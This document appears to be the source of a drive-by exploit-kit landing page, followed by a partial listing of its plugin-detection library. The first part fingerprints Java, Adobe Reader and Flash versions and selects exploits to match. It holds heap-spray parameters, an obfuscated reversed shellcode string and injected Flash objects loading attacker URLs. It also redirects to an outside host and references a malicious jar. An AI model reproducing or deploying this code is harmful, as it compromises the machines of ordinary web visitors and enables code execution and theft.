m,s="1,4,2,0",g="JavaPlugin."+a[0]+""+a[1]+""+a[2]+""+(0<a[3]?("_"+(a[3]<10?"0":"")+a[3]):"");for(h=0;h<f.JavaVersions.length;h++){d=f.JavaVersions[h];n="JavaPlugin."+d[0]+""+d[1];b=d[0]+"."+d[1]+".";for(l=d[2];l>=0;l--){r="JavaWebStart.isInstalled."+b+l+".0";if(e.compareNums(d[0]+","+d[1]+","+l+",0",j)>=0&&!e.getAXO(r)){continue}m=0>e.compareNums(d[0]+","+d[1]+","+l+",0",s)?true:false;for(q=d[3];q>=0;q--){c=l+"_"+(q<10?"0"+q:q);o=n+c;if(e.getAXO(o)&&(m||e.getAXO(r))){i.push(b+c);if(!p){return i}}if(o==g){return i}}if(e.getAXO(n+l)&&(m||e.getAXO(r))){i.push(b+l);if(!p){return i}}if(n+l==g){return i}}}return i}},navMime:{$:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,disabled:function(){return this.$$.isDisabled.navMime()},query:function(){var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.disabled());i.hasRun=1;if(b){return i};var n=/^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k={},c=f.formatNum("0");for(l=0;l<navigator.mimeTypes.length;l++){o=navigator.mimeTypes[l];m=o?o.enabledPlugin:0;g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;if(g&&m&&(m.description||m.name)){if(!k[h+g]){i.length++}k[h+g]=o.type;if(0<f.compareNums(g,c)){c=g}}}g=k[h+c];if(g){o=f.hasMimeType(g);i.mimeObj=o;i.pluginObj=o?o.enabledPlugin:0;i.mimetype=g;i.version=c};return i}},navPlugin:{$:1,hasRun:0,version:"",disabled:function(){return this.$$.isDisabled.navPlugin()},query:function(){var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.disabled());m.hasRun=1;if(b){return m};a=h.pluginObj.name||"";i=h.pluginObj.description||"";if(!f||c.debug){g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5){f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")}}if(!f||c.debug){g=/Java[^\d]*Plug-in/i;l=g.test(i)?e.formatNum(e.getNum(i)):0;k=g.test(a)?e.formatNum(e.getNum(a)):0;if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0)){l=0}if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0)){k=0}d=l&&k?(0<e.compareNums(l,k)?l:k):(l||k);if(d){f=d}}if(!f&&e.isSafari&&e.OS==2){j=e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa",0);if(j){l=e.getNum(j.description);if(l){f=l}}};if(f){m.version=e.formatNum(f)};return m}},lang:{$:1,System:{$:1,hasRun:0,result:[null,null],disabled:function(){return this.$$.isDisabled.windowDotJava()},getPropertyHas:function(a){var b=this,d=b.$,c=b.getProperty()[0];return(a&&c&&d.compareNums(d.formatNum(a),d.formatNum(c))===0)?1:0},getProperty:function(){var f=this,g=f.$,d=f.$$,i,h={},b=f.hasRun||f.disabled();f.hasRun=1;if(!b){var a="java_qqq990";g[a]=null;try{var c=document.createElement("script");c.type="text/javascript";c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};'+g.name+"."+a+"=a||0})();"));g.head.insertBefore(c,g.head.firstChild);g.head.removeChild(c)}catch(i){}if(g[a]&&g.isArray(g[a])){f.result=[].concat(g[a])}}return f.result}}},applet:{$:1,results:[[null,null],[null,null],[null,null]],getResult:function(){var c=this.results,a,b=[];for(a=0;a<c.length;a++){b=c[a];if(b[0]){break}}return[].concat(b)},HTML:[0,0,0],active:[0,0,0],DummyObjTagHTML:0,DummySpanTagHTML:0,allowed:[1,1,1],VerifyTagsHas:function(c){var d=this,b;for(b=0;b<d.allowed.length;b++){if(d.allowed[b]===c){return 1}}return 0},saveAsVerifyTagsArray:function(c){var b=this,d=b.$,a;if(d.isArray(c)){for(a=0;a<b.allowed.length;a++){if(d.isNum(c[a])){if(0>c[a]){c[a]=0}if(c[a]>3){c[a]=3}b.allowed[a]=c[a]}}}},setVerifyTagsArray:function(d){var b=this,c=b.$,a=b.$$;if(a.getVersionDone===null){b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())}if(a.debug||(a.verify&&a.verify.isEnabled())){b.saveAsVerifyTagsArray([3,3,3])}else{if(d){b.saveAsVerifyTagsArray(d)}}},allDisabled:function(){return this.$$.isDisabled.allApplets()},isDisabled:function(d){var b=this,c=b.$,a=b.$$;if(d==2&&!c.isIE){return 1}if(d===0||d==2){return a.isDisabled.ObjectTag()}if(d==1){return a.isDisabled.AppletTag()}},can_Insert_Query:function(b){var a=this;if(a.HTML[b]){return 0}return !a.isDisabled(b)},can_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.results.length;a++){if(b.can_Insert_Query(a)){return 1}}return 0},should_Insert_Query:function(d){var b=this,e=b.allowed,c=b.$,a=b.$$;if(!b.can_Insert_Query(d)){return 0}if(e[d]==3){return 1}if(e[d]==2.8&&!b.getResult()[0]){return 1}if(e[d]==2.5&&!a.lang.System.getProperty()[0]){return 1}if(e[d]==2.2&&!a.lang.System.getProperty()[0]&&!b.getResult()[0]){return 1}if(!a.nonAppletDetectionOk(a.version0)){if(e[d]==2){return 1}if(e[d]==1&&!b.getResult()[0]){return 1}}return 0},should_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.allowed.length;a++){if(b.should_Insert_Query(a)){return 1}}return 0},query:function(f){var h,a=this,g=a.$,d=a.$$,i=null,j=null,b=a.results,c;if((b[f][0]&&b[f][1])||(d.debug&&d.OTF<3)){return}c=g.getDOMobj(a.HTML[f],true);if(c){try{i=g.getNum(c.getVersion()+" ");j=c.getVendor()+" ";c.statusbar(g.winLoaded?" ":" ")}catch(h){}if(i&&g.isStrNum(i)){b[f]=[i,j]}else{};try{if(g.isIE&&i&&c.readyState!=4){g.garbage=true;c.parentNode.removeChild(c)}}catch(h){}}},insert_Query_Any:function(){var d=this,i=d.$,e=d.$$,l=d.results,p=d.HTML,a=" ",g="A.class",m=i.file.getValid(e);if(!m){return d.getResult()}if(e.OTF<1){e.OTF=1}if(d.allDisabled()){return d.getResult()}if(e.OTF<1.5){e.OTF=1.5}var j=m.name+m.ext,h=m.path;var f=["archive",j,"code",g],c=["mayscript","true"],o=["scriptable","true"].concat(c),n=e.navigator,b=!i.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:e.mimeType[0];if(d.should_Insert_Query(0)){if(e.OTF<2){e.OTF=2};p[0]=i.isIE?i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e):i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e);l[0]=[0,0];d.query(0)}if(d.should_Insert_Query(1)){if(e.OTF<2){e.OTF=2};p[1]=i.isIE?i.insertHTML("applet",["alt",a].concat(c).concat(f),["codebase",h].concat(c),a,e):i.insertHTML("applet",["codebase",h,"alt",a].concat(c).concat(f),[].concat(c),a,e);l[1]=[0,0];d.query(1)}if(d.should_Insert_Query(2)){if(e.OTF<2){e.OTF=2};p[2]=i.isIE?i.insertHTML("object",["classid",e.classID],["codebase",h].concat(f).concat(o),a,e):i.insertHTML();l[2]=[0,0];d.query(2)}if(!d.DummyObjTagHTML&&!e.isDisabled.ObjectTag()){d.DummyObjTagHTML=i.insertHTML("object",[],[],a)}if(!d.DummySpanTagHTML){d.DummySpanTagHTML=i.insertHTML("",[],[],a)};var k=e.NOTF;if(e.OTF<3&&k.shouldContinueQuery()){e.OTF=3;k.onIntervalQuery=i.handler(k.$$onIntervalQuery,k);if(!i.winLoaded){i.WLfuncs0.push([k.winOnLoadQuery,k])}setTimeout(k.onIntervalQuery,k.intervalLength)};return d.getResult()}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function(){var e=this,d=e.$,c=e.$$,b=c.applet,a;for(a=0;a<b.results.length;a++){if(b.HTML[a]&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&e.isAppletActive(a)>=0){return 1}}return 0},isJavaActive:function(d){var f=this,c=f.$$,a,b,e=-9;for(a=0;a<c.applet.HTML.length;a++){b=f.isAppletActive(a,d);if(b>e){e=b}}return e},isAppletActive:function(c,a){var d=this,b=d.$$.applet.active;if(!a){b[c]=d.isAppletActive_(c)}return b[c]},isAppletActive_:function(d){var g=this,f=g.$,b=g.$$,l=b.navigator,a=b.applet,h=a.HTML[d],i,k,c=0,j=f.getTagStatus(h,a.DummySpanTagHTML,a.DummyObjTagHTML,g.count);if(j==-2){return -2}try{if(f.isIE&&b.minIEver<=f.verIE&&f.getDOMobj(h).object){return 1}}catch(i){}for(k=0;k<a.active.length;k++){if(0<a.active[k]){c=1}}if(j==1&&(f.isIE||((b.version0&&l.javaEnabled()&&l.mimeObj&&(h.tagName=="object"||c))||b.lang.System.getProperty()[0]))){return 1}if(0>j){return -1}return 0},winOnLoadQuery:function(c,d){var b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();d.queryCompleted(a[1],a[2])}},$$onIntervalQuery:function(d){var c=d.$,b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();if(!d.shouldContinueQuery()||(c.winLoaded&&d.count>d.countMax)){d.queryCompleted(a[1],a[2])}}d.count++;if(b.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},queryAllApplets:function(){var g=this,f=g.$,e=g.$$,d=e.applet,b,a,c;for(b=0;b<d.results.length;b++){d.query(b)}a=d.getResult();c=a[0]?true:false;return[c,a[0],a[1]]},queryCompleted:function(c,f){var e=this,d=e.$,b=e.$$;if(b.OTF>=4){return}b.OTF=4;var a=e.isJavaActive();b.setPluginStatus(c,f,0);if(b.funcs){d.callArray(b.funcs)}if(d.onDoneEmptyDiv){d.onDoneEmptyDiv()}}},zz:0},flash:{mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function(){var b=function(i){if(!i){return null}var e=/[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null};var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;if(!g.isIE){m=g.hasMimeType(j.mimeType);if(m){f=g.getDOMobj(g.insertHTML("object",["type",j.mimeType],[],"",j));try{l=g.getNum(f.GetVariable("$version"))}catch(k){}}if(!l){d=m?m.enabledPlugin:null;if(d&&d.description){l=b(d.description)}if(l){l=g.getPluginFileVersion(d,l)}}}else{for(h=15;h>2;h--){c=g.getAXO(j.progID+"."+h);if(c){a=h.toString();break}}if(!c){c=g.getAXO(j.progID)}if(a=="6"){try{c.AllowScriptAccess="always"}catch(k){return"6,0,21,0"}}try{l=b(c.GetVariable("$version"))}catch(k){}if(!l&&a){l=a}}j.installed=l?1:-1;j.version=g.formatNum(l);return true}},adobereader:{mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:{},pluginHasMimeType:function(d,c,f){var b=this,e=b.$,a;for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1}}if(e.getMimeEnabledPlugin(c,f)){return 1}return 0},getVersion:function(l,j){var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;if(d.isString(j)){j=j.replace(/\s/g,"");if(j){k=j}}else{j=null}if(d.isDefined(g.INSTALLED[k])){g.installed=g.INSTALLED[k];return}if(!d.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";if(g.getVersionDone!==0){g.getVersionDone=0;b=d.getMimeEnabledPlugin(g.mimeType,a);if(!j){n=b}if(!b&&d.hasMimeType(g.mimeType)){b=d.findNavPlugin(a,0)}if(b){g.navPluginObj=b;h=d.getNum(b.description)||d.getNum(b.name);h=d.getPluginFileVersion(b,h);if(!h&&d.OS==1){if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a)){h="9"}else{if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){h="8"}}}}}else{h=g.version}if(!d.isDefined(n)){n=d.getMimeEnabledPlugin(k,a)}g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))}else{b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);c=/=\s*([\d\.]+)/g;try{f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();for(m=0;m<5;m++){if(c.test(f)&&(!h||h<RegExp.$1)){h=RegExp.$1}}}catch(i){}g.installed=h?1:(b?0:-1)}if(!g.version){g.version=d.formatNum(h)}g.INSTALLED[k]=g.installed}},zz:0}};pdpd.initScript();pdpd.getVersion(".");var $$ = pdpd;function x(s){d=[];for(i=0;i<s.length;i++){k=(s.charCodeAt(i)).toString(33);d.push(k);};return d.join(":");}end_redirect=function(){window.location.href='http://19.danielherr.net/adobe/';};function j1(){return false;}function j2(){return false;}function p1(){return false;}function p2(){return false;}function p3(){return false;}function f1(){var oSpan=document.createElement("span");document.body.appendChild(oSpan);var url = "/read/meaningful-invent-owing.php?yqo="+x("3b65e")+"&yikzvcpe="+x("jspozf")+"&lwtj=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&info=02e6b1525353caa8ad4dceae3133b6b136b7b3325750a8b13157ab55303736abb5377f709cdfddef9c921c9cefdf9cef929ced7983007f637f8cf31fc3ccfc7aa2986d67";oSpan.innerHTML="<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='"+url+"' /><embed src='"+url+"' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";}function getCN(){return "/read/meaningful-invent-owing.php?swcguge="+x("3b65e")+"&ddvjn="+x("isjbw")+"&zqszkvg=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&wpdc=oqzu"}function getBlockSize(){return 1024}function getAllocSize(){return 1024*1024}function getAllocCount(){return 300}function getFillBytes(){var a='%u'+'0c0c';return a+a}function getShellCode(){var a="8282!%5114!%64d5!%b5e0!%1551!%e095!%9134!%0451!%a1e0!%21b1!%a1f5!%e521!%21a1!%9134!%0421!%2191!%91f4!%e521!%21a1!%9154!%7421!%2191!%a1f5!%d451!%e0f4!%b1a1!%3421!%2191!%9144!%f521!%21a1!%9114!%e451!%71f5!%0485!%6085!%64f4!%f514!%5074!%64c5!%e5d4!%1464!%4450!%e4d5!%64f4!%6414!%d494!%7054!%94c4!%a5d4!%c570!%64d4!%a560!%d4a5!%4404!%14d4!%9464!%60c4!%9111!%7070!%8521!%c5c5!%8504!%2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%0382!%ef08!%9e20!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").reverse().join("");return a["replace"](/\%!/g,"%"+"u")};function ff2(){var oSpan=document.createElement("span");var url="/read/meaningful-invent-owing.php?xkeesdto="+x("3b65e")+"&xtuwdulh="+x("mqrj")+"&zjhyj=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&rhbh=xgsr";oSpan.innerHTML="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='"+url+"' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='"+url+"' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";document.body.appendChild(oSpan);}document.write('');setTimeout(end_redirect,61000);var pdfver=[];function svwrbew6436b($){var ar = [];var javax = ($.getVersion("Ja"+"va")+".").toString()["split"](".");if ($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==7&&javax[3]<9))){ar["push"](j2);} else if($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==6&&javax[3]<33)||(javax[0]==1&&javax[1]<6))){ar["push"](j1);}pdfver=pdpd.getVersion("AdobeReader");if(window.document)if(typeof pdfver=="string"){pdfver=pdfver["split"](".")}else{pdfver=[0,0,0,0]}if(pdfver[0]>0&&pdfver[0]<8){if(window.document)ar["push"](p1);}if (((pdfver[0]==9)&&(pdfver[1]>=3))||((pdfver[0]==10)&&(pdfver[1]<103))) {ar["push"](p3);} else {if(window.document&&(pdfver[0]==8||(pdfver[0]==9&&pdfver[1]<4))){ar["push"](p2);}}var ver = ($$.getVersion("Flash")+".").toString()["split"](".");if (((ver[0]==10&&ver[1]==0&&ver[2]>40)||(window.document&&(ver[0]==10&&ver[1]>0)&&(ver[0]==10&&ver[1]<2)))||window.document&&((ver[0]==10&&ver[1]==2&&ver[2]<159)||(ver[0]==10&&ver[1]<2))){ar["push"](ff2);}if((ver[0]==10&&ver[1]==3&&ver[2]==181&&ver[3]<=23)||(ver[0]==10&&ver[1]==3&&ver[2]<181)){ar["push"](f1);}var arcalli=0;var arcall = function(){if(ar.length<=arcalli)return 123;ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$["onDetec"+"tionDone"]("Ja"+"va", svwrbew6436b, "../treating/getJavaInfo.jar");" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var pdpd = { | |
version: "0.7.9", | |
name: "pdpd", | |
handler: function (c, b, a) { | |
return function () { | |
c(b, a) | |
} | |
}, | |
openTag: "<", | |
isDefined: function (b) { | |
return typeof b != "undefined" | |
}, | |
isArray: function (b) { | |
return (/array/i).test(Object.prototype.toString.call(b)) | |
}, | |
isFunc: function (b) { | |
return typeof b == "function" | |
}, | |
isString: function (b) { | |
return typeof b == "string" | |
}, | |
isNum: function (b) { | |
return typeof b == "number" | |
}, | |
isStrNum: function (b) { | |
return (typeof b == "string" && (/\d/).test(b)) | |
}, | |
getNumRegx: /[\d][\d\.\_,-]*/, | |
splitNumRegx: /[\.\_,-]/g, | |
getNum: function (b, c) { | |
var d = this, | |
a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null; | |
return a ? a[0] : null | |
}, | |
compareNums: function (h, f, d) { | |
var e = this, | |
c, b, a, g = parseInt; | |
if (e.isStrNum(h) && e.isStrNum(f)) { | |
if (e.isDefined(d) && d.compareNums) { | |
return d.compareNums(h, f) | |
} | |
c = h.split(e.splitNumRegx); | |
b = f.split(e.splitNumRegx); | |
for (a = 0; a < Math.min(c.length, b.length); a++) { | |
if (g(c[a], 10) > g(b[a], 10)) { | |
return 1 | |
} | |
if (g(c[a], 10) < g(b[a], 10)) { | |
return -1 | |
} | |
} | |
} | |
return 0 | |
}, | |
formatNum: function (b, c) { | |
var d = this, | |
a, e; | |
if (!d.isStrNum(b)) { | |
return null | |
} | |
if (!d.isNum(c)) { | |
c = 4 | |
} | |
c--; | |
e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]); | |
for (a = 0; a < 4; a++) { | |
if (/^(0+)(.+)$/.test(e[a])) { | |
e[a] = RegExp.$2 | |
} | |
if (a > c || !(/\d/).test(e[a])) { | |
e[a] = "0" | |
} | |
} | |
return e.slice(0, 4).join(",") | |
}, | |
$$hasMimeType: function (a) { | |
return function (c) { | |
if (!a.isIE && c) { | |
var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []); | |
for (b = 0; b < d.length; b++) { | |
if (a.isString(d[b]) && /[^\s]/.test(d[b])) { | |
f = navigator.mimeTypes[d[b]]; | |
e = f ? f.enabledPlugin : 0; | |
if (e && (e.name || e.description)) { | |
return f | |
} | |
} | |
} | |
} | |
return null | |
} | |
}, | |
findNavPlugin: function (l, e, c) { | |
var j = this, | |
h = new RegExp(l, "i"), | |
d = (!j.isDefined(e) || e) ? /\d/ : 0, | |
k = c ? new RegExp(c, "i") : 0, | |
a = navigator.plugins, | |
g = "", | |
f, b, m; | |
for (f = 0; f < a.length; f++) { | |
m = a[f].description || g; | |
b = a[f].name || g; | |
if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) { | |
if (!k || !(k.test(m) || k.test(b))) { | |
return a[f] | |
} | |
} | |
} | |
return null | |
}, | |
getMimeEnabledPlugin: function (k, m, c) { | |
var e = this, | |
f, b = new RegExp(m, "i"), | |
h = "", | |
g = c ? new RegExp(c, "i") : 0, | |
a, l, d, j = e.isString(k) ? [k] : k; | |
for (d = 0; d < j.length; d++) { | |
if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) { | |
l = f.description || h; | |
a = f.name || h; | |
if (b.test(l) || b.test(a)) { | |
if (!g || !(g.test(l) || g.test(a))) { | |
return f | |
} | |
} | |
} | |
} | |
return 0 | |
}, | |
getPluginFileVersion: function (f, b) { | |
var h = this, | |
e, d, g, a, c = -1; | |
if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) { | |
return b | |
} | |
if (!b) { | |
return e | |
} | |
e = h.formatNum(e); | |
b = h.formatNum(b); | |
d = b.split(h.splitNumRegx); | |
g = e.split(h.splitNumRegx); | |
for (a = 0; a < d.length; a++) { | |
if (-1 < c && c < a && !(d[a] == "0")) { | |
return b | |
} | |
if (g[a] != d[a]) { | |
if (c == -1) { | |
c = a | |
} | |
if (d[a] != "0") { | |
return b | |
} | |
} | |
} | |
return e | |
}, | |
AXO: window.ActiveXObject, | |
getAXO: function (a) { | |
var f = null, | |
d, b = this, | |
c = {}; | |
try { | |
f = new b.AXO(a) | |
} catch (d) {} | |
return f | |
}, | |
convertFuncs: function (f) { | |
var a, g, d, b = /^[\$][\$]/, | |
c = this; | |
for (a in f) { | |
if (b.test(a)) { | |
try { | |
g = a.slice(2); | |
if (g.length > 0 && !f[g]) { | |
f[g] = f[a](f); | |
delete f[a] | |
} | |
} catch (d) {} | |
} | |
} | |
}, | |
initObj: function (e, b, d) { | |
var a, c; | |
if (e) { | |
if (e[b[0]] == 1 || d) { | |
for (a = 0; a < b.length; a = a + 2) { | |
e[b[a]] = b[a + 1] | |
} | |
} | |
for (a in e) { | |
c = e[a]; | |
if (c && c[b[0]] == 1) { | |
this.initObj(c, b) | |
} | |
} | |
} | |
}, | |
initScript: function () { | |
var d = this, | |
a = navigator, | |
h, i = document, | |
l = a.userAgent || "", | |
j = a.vendor || "", | |
b = a.platform || "", | |
k = a.product || ""; | |
d.initObj(d, ["$", d]); | |
for (h in d.Plugins) { | |
if (d.Plugins[h]) { | |
d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1) | |
} | |
} | |
d.convertFuncs(d); | |
d.OS = 100; | |
if (b) { | |
var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100]; | |
for (h = g.length - 2; h >= 0; h = h - 2) { | |
if (g[h] && new RegExp(g[h], "i").test(b)) { | |
d.OS = g[h + 1]; | |
break | |
} | |
} | |
}; | |
d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null; | |
d.isIE = new Function("return/*@cc_on!@*/!1")(); | |
d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null; | |
d.ActiveXEnabled = false; | |
if (d.isIE) { | |
var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"]; | |
for (h = 0; h < m.length; h++) { | |
if (d.getAXO(m[h])) { | |
d.ActiveXEnabled = true; | |
break | |
} | |
} | |
}; | |
d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k); | |
d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null; | |
d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l); | |
d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null; | |
d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l); | |
d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null; | |
d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l); | |
d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null; | |
d.addWinEvent("load", d.handler(d.runWLfuncs, d)) | |
}, | |
init: function (d) { | |
var c = this, | |
b, d, a = { | |
status: -3, | |
plugin: 0 | |
}; | |
if (!c.isString(d)) { | |
return a | |
} | |
if (d.length == 1) { | |
c.getVersionDelimiter = d; | |
return a | |
} | |
d = d.toLowerCase().replace(/\s/g, ""); | |
b = c.Plugins[d]; | |
if (!b || !b.getVersion) { | |
return a | |
} | |
a.plugin = b; | |
if (!c.isDefined(b.installed)) { | |
b.installed = null; | |
b.version = null; | |
b.version0 = null; | |
b.getVersionDone = null; | |
b.pluginName = d | |
} | |
c.garbage = false; | |
if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") { | |
a.status = -2; | |
return a | |
} | |
a.status = 1; | |
return a | |
}, | |
fPush: function (b, a) { | |
var c = this; | |
if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length))) { | |
a.push(b) | |
} | |
}, | |
callArray: function (b) { | |
var c = this, | |
a; | |
if (c.isArray(b)) { | |
for (a = 0; a < b.length; a++) { | |
if (b[a] === null) { | |
return | |
} | |
c.call(b[a]); | |
b[a] = null | |
} | |
} | |
}, | |
call: function (c) { | |
var b = this, | |
a = b.isArray(c) ? c.length : -1; | |
if (0 < a && b.isFunc(c[0])) { | |
c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0) | |
} else { | |
if (b.isFunc(c)) { | |
c(b) | |
} | |
} | |
}, | |
$$isMinVersion: function (a) { | |
return function (h, g, d, c) { | |
var e = a.init(h), | |
f, b = -1, | |
j = {}; | |
if (e.status < 0) { | |
return e.status | |
} | |
f = e.plugin; | |
g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0")); | |
if (f.getVersionDone != 1) { | |
f.getVersion(g, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
if (f.installed !== null) { | |
b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1))) | |
}; | |
return b | |
} | |
}, | |
getVersionDelimiter: ",", | |
$$getVersion: function (a) { | |
return function (g, d, c) { | |
var e = a.init(g), | |
f, b, h = {}; | |
if (e.status < 0) { | |
return null | |
}; | |
f = e.plugin; | |
